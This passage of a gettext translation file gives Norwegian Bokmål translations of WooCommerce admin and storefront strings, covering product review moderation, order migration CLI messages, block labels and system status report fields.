#: src/Packages.php:215
msgid "The %1$s plugin has been deactivated as the latest improvements are now included with the %2$s plugin."
msgstr "%1$s-utvidelsen er deaktivert ettersom de siste forbedringene nå er inkludert i %2$s-utvidelsen."
#. Translators: %1$d is the batch number, %2$d is the number of processed
#. orders and %3$d is the execution time in seconds.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:234
msgid "Batch %1$d (%2$d orders) completed in %3$d seconds"
msgstr "Massehandling %1$d (%2$d ordre) fullført på %3$d sekunder*"
#: src/Admin/Features/OnboardingTasks/Tasks/ReviewShippingOptions.php:26
msgid "Review shipping options"
msgstr "Gjennomgå fraktalternativer"
#: src/Blocks/Templates/MiniCartTemplate.php:47
msgid "Template used to display the Mini-Cart drawer."
msgstr "Mal som brukes til å vise Mini handlekurv-skuffen."
#: src/Blocks/Templates/MiniCartTemplate.php:38
msgctxt "Template name"
msgid "Mini-Cart"
msgstr "Mini handlekurv"
#: src/Blocks/Templates/ProductSearchResultsTemplate.php:35
msgctxt "Template name"
msgid "Product Search Results"
msgstr "Produkt søkeresultater"
#: includes/class-wc-post-types.php:159
#: src/Blocks/Templates/ProductTagTemplate.php:42
msgctxt "Template name"
msgid "Products by Tag"
msgstr "Produkter per stikkord"
#: includes/class-wc-post-types.php:113
#: src/Blocks/Templates/ProductCategoryTemplate.php:42
msgctxt "Template name"
msgid "Products by Category"
msgstr "Produkter per kategori"
#: src/Blocks/Templates/ProductCatalogTemplate.php:36
msgctxt "Template name"
msgid "Product Catalog"
msgstr "Produktkatalog"
#: src/Blocks/Templates/SingleProductTemplate.php:38
msgctxt "Template name"
msgid "Single Product"
msgstr "Enkelt produkt"
#: includes/tracks/class-wc-tracks-event.php:102
msgid "A valid prop name must be specified"
msgstr "Et gyldig rekvisittnavn må angis"
#: includes/tracks/class-wc-tracks-event.php:97
msgid "A valid event name must be specified."
msgstr "Et gyldig hendelsesnavn må angis."
#. translators: %s: Order date
#: includes/class-wc-order-refund.php:85
#: includes/data-stores/abstract-wc-order-data-store-cpt.php:401
#: includes/data-stores/class-wc-order-refund-data-store-cpt.php:133
#: src/Internal/DataStores/Orders/OrdersTableRefundDataStore.php:200
msgctxt "Order date parsed by DateTime::format"
msgid "M d, Y @ h:i A"
msgstr "j. M Y \\k\\l H.i"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:44
msgid "Choose a default form value if you want a certain variation already selected when a user visits the product page."
msgstr "Velg en standard skjemaverdi hvis du vil at en viss variant allerede er valgt når en bruker besøker produktsiden."
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:187
msgid "Check to let customers to purchase only 1 item in a single order. This is particularly useful for items that have limited quantity, for example art or handmade goods."
msgstr "Kryss av for å la kunder kjøpe kun ett produkt i én enkelt ordre. Dette er spesielt nyttig for produkter som har begrenset antall, for eksempel kunst eller håndlagde produkter."
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:183
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:982
msgid "Limit purchases to 1 item per order"
msgstr "Begrens kjøp til 1 produkt pr. ordre"
#. translators: %s: date
#: includes/admin/class-wc-admin-webhooks.php:76
#: includes/admin/settings/views/html-webhooks-edit.php:25
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:516
msgctxt "Webhook created on date parsed by DateTime::format"
msgid "M d, Y @ h:i A"
msgstr "j. M Y \\k\\l H.i"
#: assets/client/blocks/products-by-attribute/block.json
msgctxt "block description"
msgid "Display a grid of products with selected attributes."
msgstr "Vis et rutenett med produkter med valgte attributter."
#: assets/client/blocks/products-by-attribute/block.json
msgctxt "block title"
msgid "Products by Attribute"
msgstr "Produkter etter attributt"
#: assets/client/blocks/product-tag/block.json
msgctxt "block description"
msgid "Display a grid of products with selected tags."
msgstr "Vis et rutenett med produkter med valgte stikkord."
#: assets/client/blocks/product-tag/block.json
msgctxt "block title"
msgid "Products by Tag"
msgstr "Produkter etter stikkord"
#: assets/client/blocks/handpicked-products/block.json
msgctxt "block description"
msgid "Display a selection of hand-picked products in a grid."
msgstr "Vis et utvalg av håndplukkede produkter i et rutenett."
#: assets/client/blocks/handpicked-products/block.json
msgctxt "block keyword"
msgid "Handpicked Products"
msgstr "Håndplukkede produkter"
#: assets/client/blocks/handpicked-products/block.json
msgctxt "block title"
msgid "Hand-picked Products"
msgstr "Håndplukkede produkter"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1526
msgid "No pending reviews"
msgstr "Ingen ventende omtaler"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1503
msgid "No approved reviews"
msgstr "Ingen godkjente omtaler"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1473
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1503
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1526
msgid "No reviews"
msgstr "Ingen omtaler"
#. translators: %s: Number of reviews.
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1465
msgid "%s pending review"
msgid_plural "%s pending reviews"
msgstr[0] "%s omtale på vent"
msgstr[1] "%s omtaler på vent"
#. translators: %s: Number of reviews.
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1459
msgid "%s approved review"
msgid_plural "%s approved reviews"
msgstr[0] "%s godkjent omtale"
msgstr[1] "%s godkjente omtaler"
#. translators: %s: Number of reviews.
#: src/Blocks/BlockTypes/Reviews/ProductReviewsTitle.php:63
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1453
#: assets/client/blocks/product-reviews-title.js:6
msgid "%s review"
msgid_plural "%s reviews"
msgstr[0] "%s omtale"
msgstr[1] "%s omtaler"
#. translators: %s: Star rating (1-5).
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1400
msgid "%s-star rating"
msgstr "%s-stjernevurdering"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1391
msgid "Filter by review rating"
msgstr "Filtrer på omtalevurdering"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1382
msgid "All ratings"
msgstr "Alle vurderinger"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1364
msgid "Filter by review type"
msgstr "Filtrer etter omtaletype"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1358
msgid "Replies"
msgstr "Svar"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1357
msgid "All types"
msgstr "Alle typer"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1328
msgid "Empty Spam"
msgstr "Tøm spam"
#. translators: 1: number representing a rating
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1233
msgid "%1$d out of 5"
msgstr "%1$d av 5"
#. translators: Review time format. See
#. https://www.php.net/manual/datetime.format.php
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1131
msgid "g:i a"
msgstr "g:i a"
#. translators: %s: Parent review link with review author name.
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1009
msgid "In reply to %s."
msgstr "Som svar til %s."
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:940
msgid "Select review"
msgstr "Velg omtale"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:924
msgid "No reviews found."
msgstr "Ingen omtaler funnet."
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:922
msgid "No reviews awaiting moderation."
msgstr "Ingen omtaler venter på moderering."
#. translators: %s: Number of reviews.
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:792
msgctxt "product reviews"
msgid "Trash <span class=\"count\">(%s)</span>"
msgid_plural "Trash <span class=\"count\">(%s)</span>"
msgstr[0] "Papirkurv <span class=\"count\">(%s)</span>"
msgstr[1] "Papirkurv <span class=\"count\">(%s)</span>"
#. translators: %s: Number of reviews.
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:785
msgctxt "product reviews"
msgid "Spam <span class=\"count\">(%s)</span>"
msgid_plural "Spam <span class=\"count\">(%s)</span>"
msgstr[0] "Spam <span class=\"count\">(%s)</span>"
msgstr[1] "Spam <span class=\"count\">(%s)</span>"
#. translators: %s: Number of reviews.
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:778
msgctxt "product reviews"
msgid "Approved <span class=\"count\">(%s)</span>"
msgid_plural "Approved <span class=\"count\">(%s)</span>"
msgstr[0] "Godkjent <span class=\"count\">(%s)</span>"
msgstr[1] "Godkjent <span class=\"count\">(%s)</span>"
#. translators: %s: Number of reviews.
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:771
msgctxt "product reviews"
msgid "Pending <span class=\"count\">(%s)</span>"
msgid_plural "Pending <span class=\"count\">(%s)</span>"
msgstr[0] "Ventende <span class=\"count\">(%s)</span>"
msgstr[1] "Ventende <span class=\"count\">(%s)</span>"
#. translators: %s: Number of reviews.
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:764
msgctxt "product reviews"
msgid "All <span class=\"count\">(%s)</span>"
msgid_plural "All <span class=\"count\">(%s)</span>"
msgstr[0] "Alle <span class=\"count\">(%s)</span>"
msgstr[1] "Alle <span class=\"count\">(%s)</span>"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:697
msgctxt "review"
msgid "Not spam"
msgstr "Ikke spam"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:691
msgctxt "review"
msgid "Mark as spam"
msgstr "Merk som spam"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:630
msgctxt "column name"
msgid "Submitted on"
msgstr "Sendt den"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:628
msgctxt "column name"
msgid "Review"
msgstr "Omtale"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:626
msgid "Author"
msgstr "Forfatter"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:625
msgctxt "review type"
msgid "Type"
msgstr "Type"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:568
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:1212
msgid "Reply"
msgstr "Svar"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:567
msgid "Reply to this review"
msgstr "Svar på denne omtalen"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:558
msgid "Quick Edit"
msgstr "Hurtigredigering"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:557
msgid "Quick edit this review inline"
msgstr "Hurtigrediger denne omtalen inline"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:545
msgid "Edit this review"
msgstr "Rediger denne omtalen"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:529
msgctxt "verb"
msgid "Trash"
msgstr "Slett"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:521
msgid "Delete Permanently"
msgstr "Slett permanent"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:501
msgctxt "review"
msgid "Not Spam"
msgstr "Ikke spam"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:500
msgid "Restore this review from the spam"
msgstr "Gjenopprett denne omtalen fra spam"
#. translators: "Mark as spam" link.
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:493
msgctxt "verb"
msgid "Spam"
msgstr "Spam"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:491
msgid "Mark this review as spam"
msgstr "Merk denne omtalen som spam"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:464
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:473
msgid "Approve this review"
msgstr "Godkjenn denne omtalen"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:457
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:482
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:683
msgid "Unapprove"
msgstr "Fjern godkjenning"
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:456
#: src/Internal/Admin/ProductReviews/ReviewsListTable.php:481
msgid "Unapprove this review"
msgstr "Fjern godkjenning av denne omtalen"
#: src/Internal/Admin/ProductReviews/ReviewsCommentsOverrides.php:80
msgid "Visit new location"
msgstr "Besøk nytt sted"
#: src/Internal/Admin/ProductReviews/ReviewsCommentsOverrides.php:78
msgid "Product reviews can now be managed from Products > Reviews."
msgstr "Produktomtaler kan nå administreres fra \"Produkter > Omtaler\"."
#: src/Internal/Admin/ProductReviews/ReviewsCommentsOverrides.php:77
msgid "Product reviews have moved!"
msgstr "Produktomtaler har flyttet!"
#: src/Internal/Admin/ProductReviews/Reviews.php:587
msgid "Search Reviews"
msgstr "Søk i Omtaler"
#. translators: %s is an integer higher than 0 (1, 2, 3...)
#: src/Internal/Admin/ProductReviews/Reviews.php:467
msgid "%s review permanently deleted"
msgid_plural "%s reviews permanently deleted"
msgstr[0] "%s omtale slettet permanent"
msgstr[1] "%s omtaler slettet permanent"
#. translators: %s is an integer higher than 0 (1, 2, 3...)
#: src/Internal/Admin/ProductReviews/Reviews.php:462
msgid "%s review restored from the Trash"
msgid_plural "%s reviews restored from the Trash"
msgstr[0] "%s omtale gjenopprettet fra papirkurven"
msgstr[1] "%s omtaler gjenopprettet fra papirkurven"
#. translators: %s is an integer higher than 0 (1, 2, 3...)
#: src/Internal/Admin/ProductReviews/Reviews.php:457
msgid "%s review moved to the Trash."
msgid_plural "%s reviews moved to the Trash."
msgstr[0] "%s omtale er flyttet til papirkurven."
msgstr[1] "%s omtaler er flyttet til papirkurven."
#. translators: %s is an integer higher than 0 (1, 2, 3...)
#: src/Internal/Admin/ProductReviews/Reviews.php:451
msgid "%s review restored from the spam"
msgid_plural "%s reviews restored from the spam"
msgstr[0] "%s omtale gjenopprettet fra spam"
msgstr[1] "%s omtaler gjenopprettet fra spam"
#. translators: %s is an integer higher than 0 (1, 2, 3...)
#: src/Internal/Admin/ProductReviews/Reviews.php:446
msgid "%s review marked as spam."
msgid_plural "%s reviews marked as spam."
msgstr[0] "%s omtale er merket som spam."
msgstr[1] "%s omtaler er merket som spam."
#. translators: %s is an integer higher than 0 (1, 2, 3...)
#: src/Internal/Admin/ProductReviews/Reviews.php:440
msgid "%s review unapproved"
msgid_plural "%s reviews unapproved"
msgstr[0] "%s omtale er ikke godkjent"
msgstr[1] "%s omtaler er ikke godkjent"
#. translators: %s is an integer higher than 0 (1, 2, 3...)
#: src/Internal/Admin/ProductReviews/Reviews.php:435
msgid "%s review approved"
msgid_plural "%s reviews approved"
msgstr[0] "%s omtale godkjent"
msgstr[1] "%s omtaler godkjent"
#. translators: %s: Number of reviews.
#: src/Internal/Admin/ProductReviews/Reviews.php:376
msgid "%s Review in moderation"
msgid_plural "%s Reviews in moderation"
msgstr[0] "%s omtale venter på moderering"
msgstr[1] "%s omtaler venter på moderering"
#. translators: %s: Number of reviews.
#: src/Internal/Admin/ProductReviews/Reviews.php:371
msgid "%s Review"
msgid_plural "%s Reviews"
msgstr[0] "%s Omtale"
msgstr[1] "%s Omtaler"
#: src/Internal/Admin/ProductReviews/Reviews.php:313
msgid "Error: Please type your reply text."
msgstr "Feil: Du må fylle inn svarteksten."
#: src/Internal/Admin/ProductReviews/Reviews.php:309
msgid "Sorry, you must be logged in to reply to a review."
msgstr "Beklager, du må være pålogget for å svare på en omtale."
#: src/Internal/Admin/ProductReviews/Reviews.php:282
msgid "Error: You can't reply to a review on a draft product."
msgstr "Feil: Du kan ikke svare på en omtale av et produktutkast."
#: src/Internal/Admin/ProductReviews/Reviews.php:202
msgid "Error: Please type your review text."
msgstr "Feil: Du må fylle inn omtaleteksten."
#. translators: 1: Month name, 2: 4-digit year.
#: src/Internal/Admin/Orders/ListTable.php:844
msgctxt "order dates dropdown"
msgid "%1$s %2$d"
msgstr "%1$s %2$d"
#: src/Internal/Admin/Orders/ListTable.php:836
#: src/Internal/StockNotifications/Admin/ListTable.php:667
msgid "All dates"
msgstr "Alle datoer"
#. Translators: %1$d is number of errors and %2$s is the formatted array of
#. order IDs.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:448
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:559
msgid "%1$d error found: %2$s. Please review the error above."
msgid_plural "%1$d errors found: %2$s. Please review the errors above."
msgstr[0] "%1$d feil funnet: %2$s. Se gjennom feilen ovenfor."
msgstr[1] "%1$d feil funnet: %2$s. Se gjennom feilene ovenfor."
#: src/Admin/API/Reports/Customers/Controller.php:506
msgid "Limit result to items with specified user ids."
msgstr "Begrens resultatet til elementer med spesifiserte bruker-IDer."
#: src/Admin/API/Reports/Customers/Stats/Controller.php:393
#: src/Admin/API/Reports/GenericController.php:165
msgid "Force retrieval of fresh data instead of from the cache."
msgstr "Tving henting av ferske data i stedet for fra mellomlageret."
#. translators: %1$s is the name of the hook to be cancelled, %2$s is the
#. exception message.
#: packages/action-scheduler/functions.php:292
msgid "Caught exception while cancelling action \"%1$s\": %2$s"
msgstr "Fanget unntak under avbrytelse av handling \"%1$s\": %2$s"
#. translators: %s refers to the schema name
#: packages/action-scheduler/classes/WP_CLI/ActionScheduler_WPCLI_Scheduler_command.php:30
msgid "Registered schema for %s"
msgstr "Registrert skjema for %s"
#. translators: %s: amount of time
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:171
msgid "action marked as failed after %s seconds. Unknown error occurred. Check server, PHP and database error logs to diagnose cause."
msgstr "handling merket som mislykket etter %s sekunder. Ukjent feil oppstod. Sjekk server-, PHP- og databasefeillogger for å diagnostisere årsaken."
#: includes/admin/class-wc-admin-pointers.php:64
msgid "Enable guided mode"
msgstr "Slå på veiledet modus"
#: assets/client/blocks/featured-product/block.json
msgctxt "block title"
msgid "Featured Product"
msgstr "Fremhevet produkt"
#: assets/client/blocks/featured-category/block.json
msgctxt "block description"
msgid "Visually highlight a product category and encourage prompt action."
msgstr "Fremhev en produktkategori og oppmuntre til hurtig handling."
#: assets/client/blocks/featured-category/block.json
msgctxt "block title"
msgid "Featured Category"
msgstr "Fremhevet kategori"
#: src/Internal/Admin/Orders/ListTable.php:608
msgid "All sales channels"
msgstr "Alle salgskanaler"
#: src/Internal/Utilities/HtmlSanitizer.php:93
msgid "String processors must be an array of valid callbacks."
msgstr "Stringprosessorer må være en array med gyldige callbacks."
#: src/Internal/Admin/SystemStatusReport.php:207
msgid "Was onboarding completed or skipped?"
msgstr "Ble onboarding fullført eller hoppet over?"
#: src/Internal/Admin/SystemStatusReport.php:205
msgid "Onboarding"
msgstr "Onboarding"
#: src/Internal/Admin/SystemStatusReport.php:177
msgid "How many notes in the database?"
msgstr "Hvor mange notater i databasen?"
#: src/Internal/Admin/SystemStatusReport.php:175
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:394
msgid "Notes"
msgstr "Notater"
#: src/Internal/Admin/SystemStatusReport.php:158
msgid "Not all expected"
msgstr "Ikke alle forventet"
#: src/Internal/Admin/SystemStatusReport.php:152
msgid "Do the important options return expected values?"
msgstr "Returnerer de viktige alternativene forventede verdier?"
#: src/Internal/Admin/SystemStatusReport.php:150
#: assets/client/admin/chunks/customize-store.js:1
#: assets/client/admin/chunks/settings-payments-bacs.js:1
#: assets/client/admin/components/index.js:2
#: assets/client/admin/email-editor/index.js:2
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
#: assets/client/blocks/checkout.js:19
msgid "Options"
msgstr "Valg"
#: src/Internal/Admin/SystemStatusReport.php:127
msgid "Not scheduled"
msgstr "Ikke planlagt"
#: src/Internal/Admin/SystemStatusReport.php:123
msgid "Is the daily cron job active, when does it next run?"
msgstr "Er den daglige cron-jobben aktiv, når kjøres den neste gang?"
#: src/Internal/Admin/SystemStatusReport.php:121
msgid "Daily Cron"
msgstr "Daglig Cron"
#: src/Internal/Admin/SystemStatusReport.php:102
msgid "Which features are disabled?"
msgstr "Hvilke funksjoner er slått av?"
#: src/Internal/Admin/SystemStatusReport.php:100
msgid "Disabled Features"
msgstr "Avslåtte funksjoner"
#: src/Internal/Admin/SystemStatusReport.php:90
msgid "Which features are enabled?"
msgstr "Hvilke funksjoner er slått på?"
#: src/Internal/Admin/SystemStatusReport.php:88
msgid "Enabled Features"
msgstr "Påslåtte funksjoner"
#: src/Internal/Admin/SystemStatusReport.php:49
msgid "This section shows details of WC Admin."
msgstr "Denne delen viser detaljer om WC Admin."
#: src/Internal/Admin/Orders/ListTable.php:609
#: src/Internal/Admin/SystemStatusReport.php:49
msgid "Admin"
msgstr "Admin"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:405
msgid "Grow your online sales by promoting your products on TikTok to over one billion monthly active users around the world."
msgstr "Øk salget på nettet ved å markedsføre produktene dine på TikTok til over én milliard månedlige aktive brukere over hele verden."
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:402
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:458
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/data/index.js:2
msgid "TikTok for WooCommerce"
msgstr "TikTok for WooCommerce"
#. Translators: %1$d is the number of orders to be verified.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:608
msgid "There is %1$d order to be verified."
msgid_plural "There are %1$d orders to be verified."
msgstr[0] "Det er %1$d ordre som skal bekreftes."
msgstr[1] "Det er %1$d ordrer som skal bekreftes."
#. Translators: %1$d is the number of migrated orders and %2$d is time taken.
#. Translators: %1$d is the number of migrated orders and %2$d is the execution
#. time in seconds.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:531
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:547
msgid "%1$d order was verified in %2$d seconds."
msgid_plural "%1$d orders were verified in %2$d seconds."
msgstr[0] "%1$d ordre ble bekreftet på %2$d sekunder."
msgstr[1] "%1$d ordrer ble bekreftet på %2$d sekunder."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:525
msgid "Verification completed."
msgstr "Verifisering fullført."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:519
msgid "Infinite loop detected, aborting. No errors found."
msgstr "Uendelig loop oppdaget, avbryter. Ingen feil funnet."
#. Translators: %1$d is the batch number, %2$d is the batch size.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:411
msgid "Beginning verification for batch #%1$d (%2$d orders/batch)."
msgstr "Begynner bekreftelse for parti nr. %1$d (%2$d ordre/parti)."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:404
msgid "There are no orders to verify, aborting."
msgstr "Det er ingen ordre å verifisere, avbryter."
#. Translators: %1$d is the number of migrated orders and %2$d is the execution
#. time in seconds.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:264
msgid "%1$d order was synced in %2$d seconds."
msgid_plural "%1$d orders were synced in %2$d seconds."
msgstr[0] "%1$d ordre ble synkronisert på %2$d sekunder."
msgstr[1] "%1$d ordrer ble synkronisert på %2$d sekunder."
#. Translators: %1$d is the batch number, %2$d is time taken to process batch.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:509
msgid "Batch %1$d (%2$d orders) completed in %3$d seconds."
msgstr "Part %1$d (%2$d ordre) fullført på %3$d sekunder."
#. Translators: %1$d is the batch number and %2$d is the batch size.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:218
msgid "Beginning batch #%1$d (%2$d orders/batch)."
msgstr "Starter parti nr. %1$d (%2$d ordre/parti)."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:196
msgid "There are no orders to sync, aborting."
msgstr "Det er ingen ordre om å synkronisere, avbryter."
#. Translators: %1$d is the number of orders to be synced.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:149
msgid "There is %1$d order to be synced."
msgid_plural "There are %1$d orders to be synced."
msgstr[0] "Det er %1$d ordre som skal synkroniseres."
msgstr[1] "Det er %1$d ordrer som skal synkroniseres."
#. translators: %s - link to testing instructions webpage.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:100
msgid "Custom order table usage is not enabled. If you are testing, you can enable it by following the testing instructions in %s"
msgstr "Bruk av egendefinert ordretabell er ikke slått på. Hvis du tester, kan du slå det på ved å følge testinstruksjonene i %s"
#: src/Admin/Features/OnboardingTasks/TaskLists.php:436
msgctxt "Admin menu name"
msgid "Home"
msgstr "Hjem"
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2052
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:515
msgid "Whether an order needs processing before it can be completed."
msgstr "Om en ordre må behandles før den kan fullføres."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2046
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:509
msgid "Whether an order needs payment, based on status and order total."
msgstr "Om en ordre trenger betaling, basert på status og ordresum."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:2040
#: src/RestApi/Routes/V4/Orders/Schema/OrderSchema.php:503
msgid "Whether an order can be edited."
msgstr "Om en ordre kan redigeres."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1633
msgid "Properties of the main product image."
msgstr "Egenskaper til hovedproduktbildet."
#: includes/integrations/maxmind-geolocation/class-wc-integration-maxmind-geolocation.php:172
msgid "Failed to initialise WC_Filesystem API while trying to update the MaxMind Geolocation database."
msgstr "Kunne ikke initialisere WC_Filesystem API under forsøk på å oppdatere MaxMind Geolocation-databasen."
#: includes/class-wc-countries.php:1277
msgid "PIN Code"
msgstr "PIN kode"
#: assets/client/blocks/inner-blocks/checkout-order-summary-cart-items-block/block.json
msgctxt "block description"
msgid "Shows cart items."
msgstr "Viser produkter i handlekurven."
#: assets/client/blocks/inner-blocks/cart-items-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-cart-items-block/block.json
msgctxt "block title"
msgid "Cart Items"
msgstr "Produkter i handlekurven"
#: assets/client/blocks/inner-blocks/cart-order-summary-taxes-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-taxes-block/block.json
msgctxt "block description"
msgid "Shows the cart taxes row."
msgstr "Viser raden for handlekurvavgifter."
#: assets/client/blocks/inner-blocks/cart-order-summary-taxes-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-taxes-block/block.json
msgctxt "block title"
msgid "Taxes"
msgstr "Avgifter"
#: assets/client/blocks/inner-blocks/cart-order-summary-subtotal-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-subtotal-block/block.json
msgctxt "block description"
msgid "Shows the cart subtotal row."
msgstr "Viser raden for subtotal for handlekurven."
#: assets/client/blocks/inner-blocks/cart-order-summary-subtotal-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-subtotal-block/block.json
msgctxt "block title"
msgid "Subtotal"
msgstr "Delsum"
#: assets/client/blocks/inner-blocks/cart-order-summary-shipping-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-shipping-block/block.json
msgctxt "block description"
msgid "Shows the cart shipping row."
msgstr "Viser raden for handlekurvfrakt."
#: assets/client/blocks/inner-blocks/cart-order-summary-shipping-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-shipping-block/block.json
msgctxt "block title"
msgid "Shipping"
msgstr "Frakt"
#: assets/client/blocks/inner-blocks/cart-order-summary-heading-block/block.json
msgctxt "block description"
msgid "Shows the heading row."
msgstr "Viser overskriftsraden."
#: assets/client/blocks/inner-blocks/cart-order-summary-heading-block/block.json
msgctxt "block title"
msgid "Heading"
msgstr "Overskrift"
#: assets/client/blocks/inner-blocks/cart-order-summary-fee-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-fee-block/block.json
msgctxt "block description"
msgid "Shows the cart fee row."
msgstr "Viser raden for handlekurvavgift."
#: assets/client/blocks/inner-blocks/cart-order-summary-fee-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-fee-block/block.json
msgctxt "block title"
msgid "Fees"
msgstr "Avgifter"
#: assets/client/blocks/inner-blocks/cart-order-summary-discount-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-discount-block/block.json
msgctxt "block description"
msgid "Shows the cart discount row."
msgstr "Viser raden for handlekurvrabatt."
#: assets/client/blocks/inner-blocks/cart-order-summary-discount-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-discount-block/block.json
msgctxt "block title"
msgid "Discount"
msgstr "Rabatt"
#: assets/client/blocks/inner-blocks/cart-order-summary-coupon-form-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-coupon-form-block/block.json
msgctxt "block description"
msgid "Shows the apply coupon form."
msgstr "Viser skjema for rabattkoder."
#: assets/client/blocks/inner-blocks/cart-order-summary-coupon-form-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-coupon-form-block/block.json
msgctxt "block title"
msgid "Coupon Form"
msgstr "Skjema for rabattkoder"
#. translators: %s: Site title
#: templates/emails/block/customer-new-account.php:29
#: assets/client/admin/chunks/activity-panels-setup.js:1
#: assets/client/admin/chunks/homescreen.js:1
msgid "Welcome to %s"
msgstr "Velkommen til %s"
#. translators: %s is the URL.
#: src/Internal/Utilities/URL.php:116
msgid "%s is not a valid URL."
msgstr "%s er ikke en gyldig nettadresse."
#. translators: %s is a URL, %d is a product ID.
#: src/Internal/ProductDownloads/ApprovedDirectories/Synchronize.php:240
msgid "Product download migration: %1$s (for product %1$d) could not be added to the list of approved download directories."
msgstr "Migrering av produktnedlasting: %1$s (for produkt %1$d) kunne ikke legges til listen over godkjente nedlastingsmapper."
#: src/Internal/ProductDownloads/ApprovedDirectories/Synchronize.php:219
msgctxt "Approved product download URLs migration"
msgid "invalid URL"
msgstr "ugyldig nettadresse"
#. translators: %1$d is the current batch in the synchronization task, %2$d is
#. the percent complete.
#: src/Internal/ProductDownloads/ApprovedDirectories/Synchronize.php:151
msgid "Approved Download Directories sync: completed batch %1$d (%2$d%% complete)."
